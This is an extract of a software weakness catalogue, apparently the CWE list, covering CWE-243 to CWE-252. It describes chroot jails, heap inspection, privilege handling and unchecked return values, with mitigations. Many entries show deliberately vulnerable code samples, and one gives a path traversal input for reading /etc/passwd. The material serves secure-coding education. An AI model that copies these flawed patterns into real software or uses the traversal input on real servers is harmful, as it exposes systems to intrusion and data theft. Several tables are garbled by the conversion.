Use grep or static analysis tools to spot usage of dangerous functions.

Demonstrative Examples

Example 1:

The code below calls `gets()` to read information into a buffer.

Example Language: C

(bad)

```
char buf[BUFSIZE];
```

```
gets(buf);
```

The gets() function in C is inherently unsafe.

Example 2:

The code below calls the gets() function to read in data from the command line.

Example Language: C

(bad)

```
char buf[24];
printf("Please enter your name and press <Enter>\n");
gets(buf);
...
}
```

However, gets() is inherently unsafe, because it copies all input from STDIN to the buffer without checking size. This allows the user to provide a string that is larger than the buffer size, resulting in an overflow condition.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-243: Creation of chroot Jail Without Changing Working Directory

Weakness ID : 243

Status: Draft

Structure : Simple

Abstraction : Variant**Description**

The program uses the chroot() system call to create a jail, but does not change the working directory afterward. This does not prevent access to files outside of the jail.

Extended Description

Improper use of chroot() may allow attackers to escape from the chroot jail. The chroot() function call does not change the process's current working directory, so relative paths may still refer to file system resources outside of the chroot jail after chroot() has been called.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Operating_System : Unix (Prevalence = Undetermined)

Background Details

The chroot() system call allows a process to change its perception of the root directory of the file system. After properly invoking chroot(), a process cannot access any files outside the directory tree defined by the new root directory. Such an environment is called a chroot jail and is commonly used to prevent the possibility that a processes could be subverted and used to access unauthorized files. For instance, many FTP servers run in chroot jails to prevent an attacker who discovers a new vulnerability in the server from being able to download the password file or other sensitive files on the system.

Likelihood Of Exploit

High

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|---------------------------|------------|
| Confidentiality | Read Files or Directories | |

Demonstrative Examples

Example 1:

Consider the following source code from a (hypothetical) FTP server:

Example Language: C

(bad)

```
chroot("/var/ftpboot");
...
fgets(filename, sizeof(filename), network);
localfile = fopen(filename, "r");
while ((len = fread(buf, 1, sizeof(buf), localfile)) != EOF) {
    fwrite(buf, 1, sizeof(buf), network);
}
fclose(localfile);
```

This code is responsible for reading a filename from the network, opening the corresponding file on the local machine, and sending the contents over the network. This code could be used to implement the FTP GET command. The FTP server calls chroot() in its initialization routines in an attempt to prevent access to files outside of /var/ftpboot. But because the server does not change the current working directory by calling chdir("/"), an attacker could request the file ".././.././../etc/passwd" and obtain a copy of the system password file.

Affected Resources

- File or Directory

MemberOf Relationships

CWE-244: Improper Clearing of Heap Memory Before Release ('Heap Inspection')

| | |
|-----------------------|---------------|
| Weakness ID : 244 | Status: Draft |
| Structure : Simple | |
| Abstraction : Variant | |

Description

Using realloc() to resize buffers that store sensitive information can leave the sensitive information exposed to attack, because it is not removed from memory.

Extended Description

When sensitive data such as a password or an encryption key is not removed from memory, it could be exposed to an attacker using a "heap inspection" attack that reads the sensitive data using memory dumps or other methods. The `realloc()` function is commonly used to increase the size of a block of allocated memory. This operation often requires copying the contents of the old memory block into a new and larger block. This operation leaves the contents of the original block intact but inaccessible to the program, preventing the program from being able to scrub sensitive data from memory. If an attacker can later examine the contents of a memory dump, the sensitive data could be exposed.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as `ChildOf`, `ParentOf`, `MemberOf` and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as `PeerOf` and `CanAlsoBe` are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|---|-----|--|------|
| ChildOf |  | 226 | Sensitive Information in Resource Not Removed Before Reuse | 526 |
| CanPrecede |  | 669 | Incorrect Resource Transfer Between Spheres | 1344 |

Applicable Platforms

Language : C (Prevalence = Undetermined)

Language : C++ (Prevalence = Undetermined)

Common Consequences

| Scope | Impact | Likelihood |
|--|-------------|------------|
| Confidentiality | Read Memory | |
| Other | Other | |
| <i>Be careful using <code>vfork()</code> and <code>fork()</code> in security sensitive code. The process state will not be cleaned up and will contain traces of data from past use.</i> | | |

Demonstrative Examples

Example 1:

The following code calls `realloc()` on a buffer containing sensitive data:

Example Language: C

(bad)

```
cleartext_buffer = get_secret();...
cleartext_buffer = realloc(cleartext_buffer, 1024);
...
scrub_memory(cleartext_buffer, 1024);
```

There is an attempt to scrub the sensitive data from memory, but `realloc()` is used, so it could return a pointer to a different part of memory. The memory that was originally allocated for `cleartext_buffer` could still contain an uncleared copy of the data.

Affected Resources

- Memory

MemberOf Relationships

CWE-245: J2EE Bad Practices: Direct Management of Connections

Weakness ID : 245

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The J2EE application directly manages connections, instead of using the container's connection management facilities.

Extended Description

The J2EE standard forbids the direct management of connections. It requires that applications use the container's resource management facilities to obtain connections to resources. Every major web application container provides pooled database connection management as part of its resource management framework. Duplicating this functionality in an application is difficult and error prone, which is part of the reason it is forbidden under the J2EE standard.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOr and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|------|-----|--------------------------------|------|
| ChildOf | B | 695 | Use of Low-Level Functionality | 1387 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Java (Prevalence = Undetermined)

Common Consequences

| Scope | Impact | Likelihood |
|-------|---------------------|------------|
| Other | Quality Degradation | |

Demonstrative Examples

Example 1:

In the following example, the class DatabaseConnection opens and manages a connection to a database for a J2EE application. The method openDatabaseConnection opens a connection to the database using a DriverManager to create the Connection object conn to the database specified in the string constant CONNECT_STRING.

Example Language: Java

(bad)

```
public class DatabaseConnection {
    private static final String CONNECT_STRING = "jdbc:mysql://localhost:3306/mysqlpdb";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
            conn = DriverManager.getConnection(CONNECT_STRING);
        } catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}
```

The use of the DriverManager class to directly manage the connection to the database violates the J2EE restriction against the direct management of connections. The J2EE application should use the web application container's resource management facilities to obtain a connection to the database as shown in the following example.

Example Language:

(good)

```
public class DatabaseConnection {
    private static final String DB_DATASRC_REF = "jdbc:mysql://localhost:3306/mysqlpdb";
    private Connection conn = null;
    public DatabaseConnection() {
    }
    public void openDatabaseConnection() {
        try {
            InitialContext ctx = new InitialContext();
            DataSource datasource = (DataSource) ctx.lookup(DB_DATASRC_REF);
            conn = datasource.getConnection();
        } catch (NamingException ex) {...}
        } catch (SQLException ex) {...}
    }
    // Member functions for retrieving database connection and accessing database
    ...
}
```

MemberOf Relationships

CWE-246: J2EE Bad Practices: Direct Use of Sockets

Weakness ID : 246

Status: Draft

Structure : Simple

Abstraction : Variant

Description

The J2EE application directly uses sockets instead of using framework method calls.

Extended Description

The J2EE standard permits the use of sockets only for the purpose of communication with legacy systems when no higher-level protocol is available. Authoring your own communication protocol requires wrestling with difficult security issues.

Without significant scrutiny by a security expert, chances are good that a custom communication protocol will suffer from security problems. Many of the same issues apply to a custom implementation of a standard protocol. While there are usually more resources available that address security concerns related to implementing a standard protocol, these resources are also available to attackers.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|---------|---|-----|--------------------------------|------|
| ChildOf |  | 695 | Use of Low-Level Functionality | 1387 |

Weakness Ordinalities

Resultant :

Applicable Platforms

Language : Java (*Prevalence = Undetermined*)

Common Consequences

| Scope | Impact | Likelihood |
|-------|---------------------|------------|
| Other | Quality Degradation | |

Potential Mitigations

Phase: Architecture and Design

Use framework method calls instead of using sockets directly.

Demonstrative Examples

Example 1:

The following example opens a socket to connect to a remote server.

Example Language: Java

(bad)

```

public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    // Perform servlet tasks.
    ...
    // Open a socket to a remote server (bad).
    Socket sock = null;
    try {
        sock = new Socket(remoteHostname, 3000);
        // Do something with the socket.
        ...
    } catch (Exception e) {
        ...
    }
}

```

A Socket object is created directly within the Java servlet, which is a dangerous way to manage remote connections.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Catgeories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

| Nature | Type | ID | Name |  | Page |

CWE-248: Uncaught Exception

Weakness ID : 248

Status: Draft

Structure : Simple

Abstraction : Base

Description

An exception is thrown from a function, but it is not caught.

Extended Description

When an exception is not caught, it may cause the program to crash or expose sensitive information.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|----------|------|-----|--|------|
| ChildOf | P | 703 | Improper Check or Handling of Exceptional Conditions | 1394 |

| ParentOf | Ⓢ | 600 | Uncaught Exception in Servlet | 1228 |

Relevant to the view "CISQ Quality Measures (2020)" (CWE-1305)

| Nature | Type | ID | Name | Page |
|---------|------|-----|--|------|
| ChildOf | P | 703 | Improper Check or Handling of Exceptional Conditions | 1394 |

Relevant to the view "CISQ Data Protection Measures" (CWE-1340)

| Nature | Type | ID | Name | Page |
|---------|------|-----|--|------|
| ChildOf | P | 703 | Improper Check or Handling of Exceptional Conditions | 1394 |

Relevant to the view "Software Development" (CWE-699)

| Nature | Type | ID | Name | Page |
|----------|------|-----|---|------|
| MemberOf | Ⓢ | 389 | Error Conditions, Return Values, Status Codes | 2039 |

Applicable Platforms

Language : C++ (Prevalence = Undetermined)

Language : Java (Prevalence = Undetermined)

Language : C# (Prevalence = Undetermined)

Common Consequences

| Scope | Impact | Likelihood |
|-----------------|--|------------|
| Availability | DoS: Crash, Exit, or Restart | |
| Confidentiality | Read Application Data | |
| | <i>An uncaught exception could cause the system to be placed in a state that could lead to a crash, exposure of sensitive information or other unintended behaviors.</i> | |

Demonstrative Examples

Example 1:

The following example attempts to resolve a hostname.

Example Language: Java

(bad)

```
protected void doPost (HttpServletRequest req, HttpServletResponse res) throws IOException {
    String ip = req.getRemoteAddr();
    InetAddress addr = InetAddress.getByName(ip);
    ...
    out.println("hello " + addr.getHostName());
}
```

A DNS lookup failure will cause the Servlet to throw an exception.

Example 2:

The `_alloca()` function allocates memory on the stack. If an allocation request is too large for the available stack space, `_alloca()` throws an exception. If the exception is not caught, the program will

crash, potentially enabling a denial of service attack. `_alloca()` has been deprecated as of Microsoft Visual Studio 2005(R). It has been replaced with the more secure `_alloca_s()`.

Example 3:

`EnterCriticalSection()` can raise an exception, potentially causing the program to crash. Under operating systems prior to Windows 2000, the `EnterCriticalSection()` function can raise an exception in low memory situations. If the exception is not caught, the program will crash, potentially enabling a denial of service attack.

MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

CWE-250: Execution with Unnecessary Privileges

Weakness ID : 250

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.

Extended Description

New weaknesses can be exposed because running with extra privileges, such as root or Administrator, can disable the normal security checks being performed by the operating system or surrounding environment. Other pre-existing weaknesses can turn into security vulnerabilities if they occur while operating at raised privileges.

Privilege management functions can behave in some less-than-obvious ways, and they have different quirks on different platforms. These inconsistencies are particularly pronounced if you are transitioning from one non-root user to another. Signal handlers and spawned processes run at the privilege of the owning process, so if a process is running as root when a signal fires or a sub-process is executed, the signal handler or sub-process will operate with root privileges.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

| <p><i>An attacker will be able to gain access to any resources that are allowed by the extra privileges. Common results include executing code, disabling services, and reading restricted data.</i></p> | | |

Detection Methods

Manual Analysis

This weakness can be detected using tools and techniques that require manual (human) analysis, such as penetration testing, threat modeling, and interactive tools that allow the tester to record and modify an active session.

Black Box

Use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic. Attach the monitor to the process and perform a login. Look for library functions and system calls that indicate when privileges are being raised or dropped. Look for accesses of resources that are restricted to normal users.

Automated Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Highly cost effective: Compare binary / bytecode to application permission manifest Cost effective for partial coverage: Bytecode Weakness Analysis - including disassembler + source code weakness analysis Binary Weakness Analysis - including disassembler + source code weakness analysis

Effectiveness = High

Manual Static Analysis - Binary or Bytecode

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Effectiveness = SOAR Partial

Dynamic Analysis with Automated Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host-based Vulnerability Scanners - Examine configuration for flaws, verifying that audit mechanisms work, ensure host configuration meets certain predefined criteria

Effectiveness = SOAR Partial

Dynamic Analysis with Manual Results Interpretation

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Host Application Interface Scanner

Effectiveness = SOAR Partial

Manual Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Highly cost effective: Manual Source Code Review (not inspections) Cost effective for partial coverage: Focused Manual Spotcheck - Focused manual analysis of source

Effectiveness = High

Automated Static Analysis - Source Code

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Source code Weakness Analyzer Context-configured Source Code Weakness Analyzer

Effectiveness = SOAR Partial

Automated Static Analysis

According to SOAR, the following detection techniques may be useful: Cost effective for partial coverage: Configuration Checker Permission Manifest Analysis

Effectiveness = SOAR Partial

Architecture or Design Review

According to SOAR, the following detection techniques may be useful: Highly cost effective: Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.) Formal Methods / Correct-By-Construction Cost effective for partial coverage: Attack Modeling

Effectiveness = High

Potential Mitigations

Phase: Architecture and Design

Phase: Operation

Strategy = Environment Hardening

Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.

Phase: Architecture and Design

Strategy = Separation of Privilege

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

Phase: Architecture and Design

Strategy = Attack Surface Reduction

Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.

Phase: Implementation

Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.

Phase: Implementation

When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.

Phase: Implementation

If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [REF-76]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate

vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.

Phase: Operation

Phase: System Configuration

Strategy = Environment Hardening

Ensure that the software runs properly under the Federal Desktop Core Configuration (FDCC) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

Demonstrative Examples

Example 1:

This code temporarily raises the program's privileges to allow creation of a new user folder.

Example Language: Python

(bad)

```
def makeNewUserDir(username):
    if invalidUsername(username):
        #avoid CWE-22 and CWE-78
        print('Usernames cannot contain invalid characters')
        return False
    try:
        raisePrivileges()
        os.mkdir('/home/' + username)
        lowerPrivileges()
    except OSError:
        print('Unable to create new user directory for user:' + username)
        return False
    return True
```

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to `os.mkdir()` throws an exception, the call to `lowerPrivileges()` will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

Example 2:

The following code calls `chroot()` to restrict the application to a subset of the filesystem below `APP_HOME` in order to prevent an attacker from using the program to gain unauthorized access to files located elsewhere. The code then opens a file specified by the user and processes the contents of the file.

Example Language: C

(bad)

```
chroot(APP_HOME);
chdir("/");
FILE* data = fopen(argv[1], "r+");
...
```

Constraining the process inside the application's home directory before opening any files is a valuable security measure. However, the absence of a call to `setuid()` with some non-zero value means the application is continuing to operate with unnecessary root privileges. Any successful exploit carried out by an attacker against the application can now result in a privilege escalation attack because any malicious operations will be performed with the privileges of the superuser. If the application drops to the privilege level of a non-root user, the potential for damage is substantially reduced.

Example 3:

This application intends to use a user's location to determine the timezone the user is in:

Example Language: Java (bad)

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
setTimeZone(userCurrLocation);
```

This is unnecessary use of the location API, as this information is already available using the Android Time API. Always be sure there is not another way to obtain needed information before resorting to using the location API.

Example 4:

This code uses location to determine the user's current US State location.
 First the application must declare that it requires the ACCESS_FINE_LOCATION permission in the application's manifest.xml:

Example Language: XML (bad)

```
<uses-permission android:name="android.permission.ACCESS_FINE_LOCATION"/>
```

During execution, a call to getLastLocation() will return a location based on the application's location permissions. In this case the application has permission for the most accurate location possible:

Example Language: Java (bad)

```
locationClient = new LocationClient(this, this, this);
locationClient.connect();
Location userCurrLocation;
userCurrLocation = locationClient.getLastLocation();
deriveStateFromCoords(userCurrLocation);
```

While the application needs this information, it does not need to use the ACCESS_FINE_LOCATION permission, as the ACCESS_COARSE_LOCATION permission will be sufficient to identify which US state the user is in.

Observed Examples

| Reference | Description |
|---------------|--|
| CVE-2007-4217 | FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4217 |
| CVE-2008-1877 | Program runs with privileges and calls another program with the same privileges, which allows read of arbitrary files. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-1877 |
| CVE-2007-5159 | OS incorrectly installs a program with setuid privileges, allowing users to gain privileges. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5159 |
| CVE-2008-4638 | Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209). https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4638 |
| CVE-2008-0162 | Program does not drop privileges before calling another program, allowing code execution. https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-0162 |
| CVE-2008-0368 | setuid root program allows creation of arbitrary files through command line argument. |

Notes

Relationship

There is a close association with CWE-653 (Insufficient Separation of Privileges). CWE-653 is about providing separate components for each privilege; CWE-250 is about ensuring that each component has the least amount of privileges possible.

Maintenance

CWE-271, CWE-272, and CWE-250 are all closely related and possibly overlapping. CWE-271 is probably better suited as a category. Both CWE-272 and CWE-250 are in active use by the community. The "least privilege" phrase has multiple interpretations.

Taxonomy Mappings

| Mapped Taxonomy Name | Node ID | Fit | Mapped Node Name |
|--|---------|-----|---|
| 7 Pernicious Kingdoms | | | Often Misused: Privilege Management |
| The CERT Oracle Secure Coding Standard for Java (2011) | SER09-J | | Minimize privileges before deserializing from a privilege context |

Related Attack Patterns

CWE-252: Unchecked Return Value

Weakness ID : 252

Status: Draft

Structure : Simple

Abstraction : Base

Description

The software does not check the return value from a method or function, which can prevent it from detecting unexpected states and conditions.

Extended Description

Two common programmer assumptions are "this function call can never fail" and "it doesn't matter if this function call fails". If an attacker can force the function to fail or otherwise return a value that is not expected, then the subsequent program logic could lead to a vulnerability, because the software is not in a state that the programmer assumes. For example, if the program calls a function to drop privileges but does not check the return code to ensure that privileges were successfully dropped, then the program will continue to operate with the higher privileges.

Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

Relevant to the view "Research Concepts" (CWE-1000)

| Nature | Type | ID | Name | Page |
|------------|---|-----|--|------|

| MemberOf |  | 389 | Error Conditions, Return Values, Status Codes | 2039 |

Weakness Ordinalities

Primary :

Applicable Platforms

Language : Language-Independent (*Prevalence = Undetermined*)

Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

Likelihood Of Exploit

Low

Common Consequences

| Scope | Impact | Likelihood |
|---------------------------|---|------------|
| Availability Integrity | Unexpected State DoS: Crash, Exit, or Restart <i>An unexpected return value could place the system in a state that could lead to a crash or other unintended behaviors.</i> | |

Potential Mitigations

Phase: Implementation

Check the results of all functions that return a value and verify that the value is expected.

Effectiveness = High

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Phase: Implementation

Ensure that you account for all possible return values from the function.

Phase: Implementation

When designing a function, make sure you return a value or throw an exception in case of an error.

Demonstrative Examples

Example 1:

Consider the following code segment:

Example Language: C

(bad)

```
char buf[10], cp_buf[10];  
fgets(buf, 10, stdin);  
strcpy(cp_buf, buf);
```

The programmer expects that when `fgets()` returns, `buf` will contain a null-terminated string of length 9 or less. But if an I/O error occurs, `fgets()` will not null-terminate `buf`. Furthermore, if the end of the file is reached before any characters are read, `fgets()` returns without writing anything to `buf`. In both of these situations, `fgets()` signals that something unusual has happened by returning `NULL`, but in this code, the warning will not be noticed. The lack of a null terminator in `buf` can result in a buffer overflow in the subsequent call to `strcpy()`.

Example 2:

In the following example, it is possible to request that `memcpy` move a much larger segment of memory than assumed:

Example Language: C

(bad)

```
int returnChunkSize(void *) {  
    /* if chunk info is valid, return the size of usable memory,
```

```

    * else, return -1 to indicate an error
    */
    ...
}
int main() {
    ...
    memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
    ...
}

```

If `returnChunkSize()` happens to encounter an error it will return -1. Notice that the return value is not checked before the `memcpy` operation (CWE-252), so -1 can be passed as the size argument to `memcpy()` (CWE-805). Because `memcpy()` assumes that the value is unsigned, it will be interpreted as `MAXINT-1` (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by `malloc()`.

Example Language: C

(bad)

```

buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);

```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

- Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.
- It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.
- The programmer has lost the opportunity to record diagnostic information. Did the call to `malloc()` fail because `req_size` was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

Example 4:

The following examples read a file into a byte array.

Example Language: C#

(bad)

```

char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext(); i.Current()) {
    String userName = (String) i.Current();
    String pFileName = PFILE_ROOT + "/" + userName;
    StreamReader sr = new StreamReader(pFileName);
    sr.Read(byteArray,0,1024);//the file is always 1k bytes
    sr.Close();
    processPFile(userName, byteArray);
}

```

Example Language: Java

(bad)

```

FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext(); ) {
    String userName = (String) i.next();
    String pFileName = PFILE_ROOT + "/" + userName;
    FileInputStream fis = new FileInputStream(pFileName);
}

```

```
fis.read(byteArray); // the file is always 1k bytes
fis.close();
processPFile(userName, byteArray);
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

Example 5:

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

Example Language: Java

(bad)

```
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {
    ...
}
...
```

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

Example Language: Java

(bad)

```
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
    ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 6:

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

Example Language: Java

(bad)

```
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 7:

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

Example Language: C#

(bad)

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
```

```
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

Example 8:

It is not uncommon for Java programmers to misunderstand read() and related methods that are part of many java.io classes. Most errors and unusual events in Java result in an exception being thrown. But the stream and reader classes do not consider it unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested. This behavior makes it important for programmers to examine the return value from read() and other IO methods to ensure that they receive the amount of data they expect.

Example 9:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

Example Language: C

(bad)

```
void host_lookup(char *user_supplied_addr){
    struct hostent *hp;
    in_addr_t *addr;
    char hostname[64];
    in_addr_t inet_addr(const char *cp);
    /*routine that ensures user_supplied_addr is in the right format for conversion */
    validate_addr_form(user_supplied_addr);
    addr = inet_addr(user_supplied_addr);
    hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
    strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. Since the code does not check the return value from gethostbyaddr (CWE-252), a NULL pointer dereference (CWE-476) would then occur in the call to strcpy().

Note that this code is also vulnerable to a buffer overflow (CWE-119).

Example 10:

The following function attempts to acquire a lock in order to perform operations on a shared resource.

Example Language: C

(bad)

```
void f(pthread_mutex_t *mutex) {
    pthread_mutex_lock(mutex);
    /* access shared resource */
    pthread_mutex_unlock(mutex);
}
```

However, the code does not check the value returned by pthread_mutex_lock() for errors. If pthread_mutex_lock() cannot acquire the mutex for any reason, the function may introduce a race condition into the program and result in undefined behavior.

In order to avoid data races, correctly written programs must check the result of thread synchronization functions and appropriately handle all errors, either by attempting to recover from them or reporting them to higher levels.

Example Language: C

(good)

```
int f(pthread_mutex_t *mutex) {
    int result;
    result = pthread_mutex_lock(mutex);
    if (0 != result)
        return result;
    /* access shared resource */
    return pthread_mutex_unlock(mutex);
}
```

Observed Examples

| Reference | Description |
|-----------------------|---|
| CVE-2020-17533 | Chain: unchecked return value (CWE-252) of some functions for policy enforcement leads to authorization bypass (CWE-862) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-17533 |
| CVE-2020-6078 | Chain: The return value of a function returning a pointer is not checked for success (CWE-252) resulting in the later use of an uninitialized variable (CWE-456) and a null pointer dereference (CWE-476) https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-6078 |
